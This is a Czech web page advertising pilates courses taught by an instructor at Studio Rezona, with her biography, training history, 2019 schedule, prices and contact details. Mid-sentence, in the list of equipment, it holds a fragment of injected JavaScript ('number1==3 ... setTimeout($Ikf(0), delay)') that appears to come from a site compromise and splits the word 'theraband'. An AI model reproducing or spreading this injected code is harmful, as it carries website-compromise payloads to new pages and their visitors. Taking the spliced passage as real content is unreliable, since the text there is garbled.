Pilates pro zdraví 17.15 – 18.15 kurz / Markéta Marešová

K pilates jsem se dostala téměř před 9-ti lety, kdy mne k této formě cvičení přivedla má fyzioterapeutka, při řešení problémů se zády jako následek aktivního sportu. Znalost pilates mi hodně pomohla s vnímáním a prací se svým tělem v běžném životě, a proto se řídím heslem, že tělo je náš chrám, a proto bychom k němu i tak měli přistupovat. Díky cvičení pilates dosahuji snáze propojení těla a mysli. Je to precizní a funkční cvičení, které pomáhá nejenom od bolesti zad, ale k celkovému zlepšení fungování našeho těla. Věřím, že to, co dělám má smysl, a proto budu velmi ráda, když své zkušenosti budu moci předat na hodinách svým klientům.

Momentálně cvičím pilates se všemi věkovými skupinami. Specializuji se i na těhotenské pilates, pilates po porodu, pilates – zdravá záda.

Ve svých lekcích používám pilates pomůcky: overball, therabandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, foam roller, rehabilitační míčky, magic circle

Vzdělání:

• 2010 – 2011 Instruktor Pilates MAT 1 – Mgr. Daniel Müller, Face Czech Academy
• 2010 Bosu Core – Mgr. Daniel Müller, Face Czech Academy
• 2013 – 2014 Rekvalifikační kurz Instruktor Pilates – akreditovaný MŠMT, Elixír Akademie
• 2015 Vývojová kineziologie a kineziotaping, Elixír Akademie
• 2015 Individuální kontrolovaný strečink, Elixír Akademie
• 2017 Pilates pro těhotné a po porodu, Elixír Akademie
• 2018 Pilates festival – Inspiration Day, Movement Solution
• 2018 Pilates festival – Inspiration Day, Movement Solution

Pilates
Pondělí: 17:15 – 18:15
Termíny: 7.10. – 16.12.2019
Cena: 1.700,-  (10 lekcí)
Necvičí se: 28.10., 23.12., 30.12.

Další kurzy ve Studiu Rezona:

Pilates – Zdravá záda
Úterý: 12:30 – 13:30
Termíny: 8.10. – 17.12.2019
Cena: 1.900,- (11 lekcí)
Necvičí se: 24.12., 31.12.

Individuální lekce: (maximální počet na individuální lekci jsou 3 klienti)

Pilates – Zdravá záda
Těhotenské pilates
Pilates po porodu
Cena za individuální lekci: 650,-
(750,- / 2 os. ; 850,- / 3 os.)

Přihlášky:
Tel. +420 775 032 684, maresova.pilates@gmail.com